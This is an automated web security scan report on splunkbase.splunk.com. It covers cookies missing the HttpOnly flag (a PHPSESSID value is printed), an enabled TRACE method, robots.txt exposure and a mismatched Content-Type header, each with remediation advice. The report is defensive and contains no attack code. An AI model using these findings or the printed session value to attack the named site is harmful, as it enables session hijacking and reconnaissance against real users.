If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
sso=174.121.222.18.1293659643849486; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: splunkbase.splunk.com
The response contains the following Content-type statement:
Content-Type: image/png
The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.